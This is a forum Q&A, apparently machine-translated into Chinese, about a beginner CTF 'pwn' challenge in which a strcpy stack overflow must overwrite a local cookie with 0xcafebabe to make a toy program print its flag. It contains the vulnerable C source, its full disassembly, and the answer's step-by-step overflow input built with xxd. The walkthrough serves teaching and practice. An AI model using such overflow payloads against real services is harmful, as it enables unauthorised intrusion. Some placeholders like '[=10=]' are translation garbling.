如何解决PWN挑战?

How to solve PWN challenge?

我是 PWN 的新手,不太了解如何解决 PWN 问题。最近,我遇到了一个夺旗 (CTF) 挑战,在那里我找到了一个 pwn 来找出旗帜。我正在使用 Linux-Ubuntu -16.04.

下面的程序是一些远程机器上的 PWN 程序 运行,我可以在其中 'netcat' & 发送输入字符串。根据我目前对问题的理解,在 strcpy() 期间,下面的代码(第 9 行)会发生缓冲区溢出,从而发生内存覆盖。所以,这就是我认为的漏洞点。不知何故,我需要利用该漏洞,以便可以从远程计算机读取 'flag'。

复制以下代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void f(char *s) {
    int cookie = 1;
    char buf[10];
    strcpy(buf, s);

    if (cookie != 0xcafebabe) {
        printf("fail...\n");
        exit(1);
    }
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char s[100] = { 0 };
    fgets(s, 99, stdin);
    s[99] = '[=10=]';
    f(s);

    system("cat flag");

    return 0;
}

我按照在线教程尝试了几个基本步骤,比如阅读 ELF、反汇编代码,但我不确定如何继续和解决这个问题。

下面是相同的汇编代码:

Disassembly of section .init:

00000000004005d0 <_init>:
  4005d0:       48 83 ec 08             sub    [=11=]x8,%rsp
  4005d4:       48 8b 05 1d 0a 20 00    mov    0x200a1d(%rip),%rax        # 600ff8 <_DYNAMIC+0x1d0>
  4005db:       48 85 c0                test   %rax,%rax
  4005de:       74 05                   je     4005e5 <_init+0x15>
  4005e0:       e8 7b 00 00 00          callq  400660 <__gmon_start__@plt>
  4005e5:       48 83 c4 08             add    [=11=]x8,%rsp
  4005e9:       c3                      retq

Disassembly of section .plt:

00000000004005f0 <strcpy@plt-0x10>:
  4005f0:       ff 35 12 0a 20 00       pushq  0x200a12(%rip)        # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
  4005f6:       ff 25 14 0a 20 00       jmpq   *0x200a14(%rip)        # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
  4005fc:       0f 1f 40 00             nopl   0x0(%rax)

0000000000400600 <strcpy@plt>:
  400600:       ff 25 12 0a 20 00       jmpq   *0x200a12(%rip)        # 601018 <_GLOBAL_OFFSET_TABLE_+0x18>
  400606:       68 00 00 00 00          pushq  [=11=]x0
  40060b:       e9 e0 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400610 <puts@plt>:
  400610:       ff 25 0a 0a 20 00       jmpq   *0x200a0a(%rip)        # 601020 <_GLOBAL_OFFSET_TABLE_+0x20>
  400616:       68 01 00 00 00          pushq  [=11=]x1
  40061b:       e9 d0 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400620 <__stack_chk_fail@plt>:
  400620:       ff 25 02 0a 20 00       jmpq   *0x200a02(%rip)        # 601028 <_GLOBAL_OFFSET_TABLE_+0x28>
  400626:       68 02 00 00 00          pushq  [=11=]x2
  40062b:       e9 c0 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400630 <system@plt>:
  400630:       ff 25 fa 09 20 00       jmpq   *0x2009fa(%rip)        # 601030 <_GLOBAL_OFFSET_TABLE_+0x30>
  400636:       68 03 00 00 00          pushq  [=11=]x3
  40063b:       e9 b0 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400640 <__libc_start_main@plt>:
  400640:       ff 25 f2 09 20 00       jmpq   *0x2009f2(%rip)        # 601038 <_GLOBAL_OFFSET_TABLE_+0x38>
  400646:       68 04 00 00 00          pushq  [=11=]x4
  40064b:       e9 a0 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400650 <fgets@plt>:
  400650:       ff 25 ea 09 20 00       jmpq   *0x2009ea(%rip)        # 601040 <_GLOBAL_OFFSET_TABLE_+0x40>
  400656:       68 05 00 00 00          pushq  [=11=]x5
  40065b:       e9 90 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400660 <__gmon_start__@plt>:
  400660:       ff 25 e2 09 20 00       jmpq   *0x2009e2(%rip)        # 601048 <_GLOBAL_OFFSET_TABLE_+0x48>
  400666:       68 06 00 00 00          pushq  [=11=]x6
  40066b:       e9 80 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400670 <setvbuf@plt>:
  400670:       ff 25 da 09 20 00       jmpq   *0x2009da(%rip)        # 601050 <_GLOBAL_OFFSET_TABLE_+0x50>
  400676:       68 07 00 00 00          pushq  [=11=]x7
  40067b:       e9 70 ff ff ff          jmpq   4005f0 <_init+0x20>

0000000000400680 <exit@plt>:
  400680:       ff 25 d2 09 20 00       jmpq   *0x2009d2(%rip)        # 601058 <_GLOBAL_OFFSET_TABLE_+0x58>
  400686:       68 08 00 00 00          pushq  [=11=]x8
  40068b:       e9 60 ff ff ff          jmpq   4005f0 <_init+0x20>

Disassembly of section .text:

0000000000400690 <_start>:
  400690:       31 ed                   xor    %ebp,%ebp
  400692:       49 89 d1                mov    %rdx,%r9
  400695:       5e                      pop    %rsi
  400696:       48 89 e2                mov    %rsp,%rdx
  400699:       48 83 e4 f0             and    [=11=]xfffffffffffffff0,%rsp
  40069d:       50                      push   %rax
  40069e:       54                      push   %rsp
  40069f:       49 c7 c0 20 09 40 00    mov    [=11=]x400920,%r8
  4006a6:       48 c7 c1 b0 08 40 00    mov    [=11=]x4008b0,%rcx
  4006ad:       48 c7 c7 e5 07 40 00    mov    [=11=]x4007e5,%rdi
  4006b4:       e8 87 ff ff ff          callq  400640 <__libc_start_main@plt>
  4006b9:       f4                      hlt
  4006ba:       66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)

00000000004006c0 <deregister_tm_clones>:
  4006c0:       b8 77 10 60 00          mov    [=11=]x601077,%eax
  4006c5:       55                      push   %rbp
  4006c6:       48 2d 70 10 60 00       sub    [=11=]x601070,%rax
  4006cc:       48 83 f8 0e             cmp    [=11=]xe,%rax
  4006d0:       48 89 e5                mov    %rsp,%rbp
  4006d3:       77 02                   ja     4006d7 <deregister_tm_clones+0x17>
  4006d5:       5d                      pop    %rbp
  4006d6:       c3                      retq
  4006d7:       b8 00 00 00 00          mov    [=11=]x0,%eax
  4006dc:       48 85 c0                test   %rax,%rax
  4006df:       74 f4                   je     4006d5 <deregister_tm_clones+0x15>
  4006e1:       5d                      pop    %rbp
  4006e2:       bf 70 10 60 00          mov    [=11=]x601070,%edi
  4006e7:       ff e0                   jmpq   *%rax
  4006e9:       0f 1f 80 00 00 00 00    nopl   0x0(%rax)

00000000004006f0 <register_tm_clones>:
  4006f0:       b8 70 10 60 00          mov    [=11=]x601070,%eax
  4006f5:       55                      push   %rbp
  4006f6:       48 2d 70 10 60 00       sub    [=11=]x601070,%rax
  4006fc:       48 c1 f8 03             sar    [=11=]x3,%rax
  400700:       48 89 e5                mov    %rsp,%rbp
  400703:       48 89 c2                mov    %rax,%rdx
  400706:       48 c1 ea 3f             shr    [=11=]x3f,%rdx
  40070a:       48 01 d0                add    %rdx,%rax
  40070d:       48 d1 f8                sar    %rax
  400710:       75 02                   jne    400714 <register_tm_clones+0x24>
  400712:       5d                      pop    %rbp
  400713:       c3                      retq
  400714:       ba 00 00 00 00          mov    [=11=]x0,%edx
  400719:       48 85 d2                test   %rdx,%rdx
  40071c:       74 f4                   je     400712 <register_tm_clones+0x22>
  40071e:       5d                      pop    %rbp
  40071f:       48 89 c6                mov    %rax,%rsi
  400722:       bf 70 10 60 00          mov    [=11=]x601070,%edi
  400727:       ff e2                   jmpq   *%rdx
  400729:       0f 1f 80 00 00 00 00    nopl   0x0(%rax)

0000000000400730 <__do_global_dtors_aux>:
  400730:       80 3d 49 09 20 00 00    cmpb   [=11=]x0,0x200949(%rip)        # 601080 <completed.6982>
  400737:       75 11                   jne    40074a <__do_global_dtors_aux+0x1a>
  400739:       55                      push   %rbp
  40073a:       48 89 e5                mov    %rsp,%rbp
  40073d:       e8 7e ff ff ff          callq  4006c0 <deregister_tm_clones>
  400742:       5d                      pop    %rbp
  400743:       c6 05 36 09 20 00 01    movb   [=11=]x1,0x200936(%rip)        # 601080 <completed.6982>
  40074a:       f3 c3                   repz retq
  40074c:       0f 1f 40 00             nopl   0x0(%rax)

0000000000400750 <frame_dummy>:
  400750:       48 83 3d c8 06 20 00    cmpq   [=11=]x0,0x2006c8(%rip)        # 600e20 <__JCR_END__>
  400757:       00
  400758:       74 1e                   je     400778 <frame_dummy+0x28>
  40075a:       b8 00 00 00 00          mov    [=11=]x0,%eax
  40075f:       48 85 c0                test   %rax,%rax
  400762:       74 14                   je     400778 <frame_dummy+0x28>
  400764:       55                      push   %rbp
  400765:       bf 20 0e 60 00          mov    [=11=]x600e20,%edi
  40076a:       48 89 e5                mov    %rsp,%rbp
  40076d:       ff d0                   callq  *%rax
  40076f:       5d                      pop    %rbp
  400770:       e9 7b ff ff ff          jmpq   4006f0 <register_tm_clones>
  400775:       0f 1f 00                nopl   (%rax)
  400778:       e9 73 ff ff ff          jmpq   4006f0 <register_tm_clones>

000000000040077d <f>:
  40077d:       55                      push   %rbp
  40077e:       48 89 e5                mov    %rsp,%rbp
  400781:       48 83 ec 40             sub    [=11=]x40,%rsp
  400785:       48 89 7d c8             mov    %rdi,-0x38(%rbp)
  400789:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
  400790:       00 00
  400792:       48 89 45 f8             mov    %rax,-0x8(%rbp)
  400796:       31 c0                   xor    %eax,%eax
  400798:       c7 45 dc 01 00 00 00    movl   [=11=]x1,-0x24(%rbp)
  40079f:       48 8b 55 c8             mov    -0x38(%rbp),%rdx
  4007a3:       48 8d 45 e0             lea    -0x20(%rbp),%rax
  4007a7:       48 89 d6                mov    %rdx,%rsi
  4007aa:       48 89 c7                mov    %rax,%rdi
  4007ad:       e8 4e fe ff ff          callq  400600 <strcpy@plt>
  4007b2:       81 7d dc be ba fe ca    cmpl   [=11=]xcafebabe,-0x24(%rbp)
  4007b9:       74 14                   je     4007cf <f+0x52>
  4007bb:       bf 34 09 40 00          mov    [=11=]x400934,%edi
  4007c0:       e8 4b fe ff ff          callq  400610 <puts@plt>
  4007c5:       bf 01 00 00 00          mov    [=11=]x1,%edi
  4007ca:       e8 b1 fe ff ff          callq  400680 <exit@plt>
  4007cf:       48 8b 45 f8             mov    -0x8(%rbp),%rax
  4007d3:       64 48 33 04 25 28 00    xor    %fs:0x28,%rax
  4007da:       00 00
  4007dc:       74 05                   je     4007e3 <f+0x66>
  4007de:       e8 3d fe ff ff          callq  400620 <__stack_chk_fail@plt>
  4007e3:       c9                      leaveq
  4007e4:       c3                      retq

00000000004007e5 <main>:
  4007e5:       55                      push   %rbp
  4007e6:       48 89 e5                mov    %rsp,%rbp
  4007e9:       53                      push   %rbx
  4007ea:       48 83 ec 78             sub    [=11=]x78,%rsp
  4007ee:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
  4007f5:       00 00
  4007f7:       48 89 45 e8             mov    %rax,-0x18(%rbp)
  4007fb:       31 c0                   xor    %eax,%eax
  4007fd:       48 8b 05 74 08 20 00    mov    0x200874(%rip),%rax        # 601078 <stdin@@GLIBC_2.2.5>
  400804:       b9 00 00 00 00          mov    [=11=]x0,%ecx
  400809:       ba 02 00 00 00          mov    [=11=]x2,%edx
  40080e:       be 00 00 00 00          mov    [=11=]x0,%esi
  400813:       48 89 c7                mov    %rax,%rdi
  400816:       e8 55 fe ff ff          callq  400670 <setvbuf@plt>
  40081b:       48 8b 05 4e 08 20 00    mov    0x20084e(%rip),%rax        # 601070 <__TMC_END__>
  400822:       b9 00 00 00 00          mov    [=11=]x0,%ecx
  400827:       ba 02 00 00 00          mov    [=11=]x2,%edx
  40082c:       be 00 00 00 00          mov    [=11=]x0,%esi
  400831:       48 89 c7                mov    %rax,%rdi
  400834:       e8 37 fe ff ff          callq  400670 <setvbuf@plt>
  400839:       48 8d 55 80             lea    -0x80(%rbp),%rdx
  40083d:       b8 00 00 00 00          mov    [=11=]x0,%eax
  400842:       b9 0c 00 00 00          mov    [=11=]xc,%ecx
  400847:       48 89 d7                mov    %rdx,%rdi
  40084a:       f3 48 ab                rep stos %rax,%es:(%rdi)
  40084d:       48 89 fa                mov    %rdi,%rdx
  400850:       89 02                   mov    %eax,(%rdx)
  400852:       48 83 c2 04             add    [=11=]x4,%rdx
  400856:       48 8b 15 1b 08 20 00    mov    0x20081b(%rip),%rdx        # 601078 <stdin@@GLIBC_2.2.5>
  40085d:       48 8d 45 80             lea    -0x80(%rbp),%rax
  400861:       be 63 00 00 00          mov    [=11=]x63,%esi
  400866:       48 89 c7                mov    %rax,%rdi
  400869:       e8 e2 fd ff ff          callq  400650 <fgets@plt>
  40086e:       c6 45 e3 00             movb   [=11=]x0,-0x1d(%rbp)
  400872:       48 8d 45 80             lea    -0x80(%rbp),%rax
  400876:       48 89 c7                mov    %rax,%rdi
  400879:       e8 ff fe ff ff          callq  40077d <f>
  40087e:       bf 3c 09 40 00          mov    [=11=]x40093c,%edi
  400883:       e8 a8 fd ff ff          callq  400630 <system@plt>
  400888:       b8 00 00 00 00          mov    [=11=]x0,%eax
  40088d:       48 8b 5d e8             mov    -0x18(%rbp),%rbx
  400891:       64 48 33 1c 25 28 00    xor    %fs:0x28,%rbx
  400898:       00 00
  40089a:       74 05                   je     4008a1 <main+0xbc>
  40089c:       e8 7f fd ff ff          callq  400620 <__stack_chk_fail@plt>
  4008a1:       48 83 c4 78             add    [=11=]x78,%rsp
  4008a5:       5b                      pop    %rbx
  4008a6:       5d                      pop    %rbp
  4008a7:       c3                      retq
  4008a8:       0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
  4008af:       00

00000000004008b0 <__libc_csu_init>:
  4008b0:       41 57                   push   %r15
  4008b2:       41 89 ff                mov    %edi,%r15d
  4008b5:       41 56                   push   %r14
  4008b7:       49 89 f6                mov    %rsi,%r14
  4008ba:       41 55                   push   %r13
  4008bc:       49 89 d5                mov    %rdx,%r13
  4008bf:       41 54                   push   %r12
  4008c1:       4c 8d 25 48 05 20 00    lea    0x200548(%rip),%r12        # 600e10 <__frame_dummy_init_array_entry>
  4008c8:       55                      push   %rbp
  4008c9:       48 8d 2d 48 05 20 00    lea    0x200548(%rip),%rbp        # 600e18 <__init_array_end>
  4008d0:       53                      push   %rbx
  4008d1:       4c 29 e5                sub    %r12,%rbp
  4008d4:       31 db                   xor    %ebx,%ebx
  4008d6:       48 c1 fd 03             sar    [=11=]x3,%rbp
  4008da:       48 83 ec 08             sub    [=11=]x8,%rsp
  4008de:       e8 ed fc ff ff          callq  4005d0 <_init>
  4008e3:       48 85 ed                test   %rbp,%rbp
  4008e6:       74 1e                   je     400906 <__libc_csu_init+0x56>
  4008e8:       0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
  4008ef:       00
  4008f0:       4c 89 ea                mov    %r13,%rdx
  4008f3:       4c 89 f6                mov    %r14,%rsi
  4008f6:       44 89 ff                mov    %r15d,%edi
  4008f9:       41 ff 14 dc             callq  *(%r12,%rbx,8)
  4008fd:       48 83 c3 01             add    [=11=]x1,%rbx
  400901:       48 39 eb                cmp    %rbp,%rbx
  400904:       75 ea                   jne    4008f0 <__libc_csu_init+0x40>
  400906:       48 83 c4 08             add    [=11=]x8,%rsp
  40090a:       5b                      pop    %rbx
  40090b:       5d                      pop    %rbp
  40090c:       41 5c                   pop    %r12
  40090e:       41 5d                   pop    %r13
  400910:       41 5e                   pop    %r14
  400912:       41 5f                   pop    %r15
  400914:       c3                      retq
  400915:       66 66 2e 0f 1f 84 00    data32 nopw %cs:0x0(%rax,%rax,1)
  40091c:       00 00 00 00

0000000000400920 <__libc_csu_fini>:
  400920:       f3 c3                   repz retq

Disassembly of section .fini:

0000000000400924 <_fini>:
  400924:       48 83 ec 08             sub    [=11=]x8,%rsp
  400928:       48 83 c4 08             add    [=11=]x8,%rsp
  40092c:       c3                      retq

如果有人可以帮助/指导我解决以及我现在需要做什么,我将非常感激,因为这将帮助我学习这种新型挑战。提前致谢。

这里有几点需要注意:

  1. cookie只在初始化时赋值,然后在if中检查。显然你必须以某种方式覆盖它才能通过测试,正如你正确推测的那样,这可以通过溢出 buf.
  2. 来完成
  3. 测试以十六进制给出,提示您 cookie 预期包含哪些字节。
  4. 可能您的架构和我的一样是小端架构 - 请参阅下面的结果。

首先,既然你有源代码,我会确保我了解溢出时会发生什么:

void f(char *s) {
    int cookie = 0x1;
    char buf[10];

    strcpy(buf, s);
    printf("Cookie[0]: %x\n", *(((unsigned char*)&cookie)+0));     
    printf("Cookie[1]: %x\n", *(((unsigned  char*)&cookie)+1));     
    printf("Cookie[2]: %x\n", *(((unsigned  char*)&cookie)+2));     
    printf("Cookie[3]: %x\n", *(((unsigned  char*)&cookie)+3));     
    printf("Cookie: %x\n", cookie);     

    if (cookie != 0xcafebabe) {
        printf("fail...\n");
        exit(1);
    }
}

这会打印从 cookie 存储位置开始的每个字节。由于 int 是 4 个字节,所以我打印 4 个地址。 运行这个先不溢出来搞定:

Cookie[0]: 1                                                   
Cookie[1]: 0                                                   
Cookie[2]: 0                                                   
Cookie[3]: 0                                                   
Cookie: 1 

这是字节序明确的地方——“1”在第一个内存地址中。现在让我们尝试一个错误的最小溢出输入 123456789 - 9 个字符,留下一个用于空终止。这产生:

Cookie[0]: 0
Cookie[1]: 0                                                   
Cookie[2]: 0                                                   
Cookie[3]: 0                                                   
Cookie: 0

为什么 cookie 是 0?为什么我们溢出了?看起来我们溢出了一个字符,空终止即 0,一个字节,足以擦除上面的 1。溢出另一个字符以明确这一点(1234567890):

Cookie[0]: a
Cookie[1]: 0                                                   
Cookie[2]: 0                                                   
Cookie[3]: 0                                                   
Cookie: a

记住这是十六进制 (%x) 所以 a 实际上是 10。ASCII 中的 10 是 '\n',我们意识到我们忘记了一个额外的字符 - 新行。还有一个只是为了确保它是如何工作的 (12345678900):

Cookie[0]: 30
Cookie[1]: a                                                  
Cookie[2]: 0                                                   
Cookie[3]: 0                                                   
Cookie: a30

30 是十六进制的 48——“0”的 ASCII,我们知道我们是如何覆盖 cookie 的。注意底部的顺序。

所以基本上我们希望字节包含(十六进制,这就是为什么 if 条件是一个很好的提示):cafeba, be.这些是奇怪的 ASCII 字符,我们的键盘没有简单的方法来输入它们。 bash 中生成具有正确字符的溢出字符串的一种方法:

echo 0xcafebabe | xxd -r

xxd 将十六进制转换为正确的 ASCII 字符。我们可以使用重定向将其输入到我们的程序中:

out_program <<< 1234567890$(echo 0xcafebabe | xxd -r)

产量:

Cookie[0]: ca
Cookie[1]: fe                                           
Cookie[2]: ba                                                   
Cookie[3]: be                                                   
Cookie: bebafeca

结果是颠倒的 - 这是因为我忽略了小端 - 第一个字节是最低有效位,所以最后我们意识到:

out_program <<< 1234567890$(echo 0xbebafeca | xxd -r)

这解决了问题。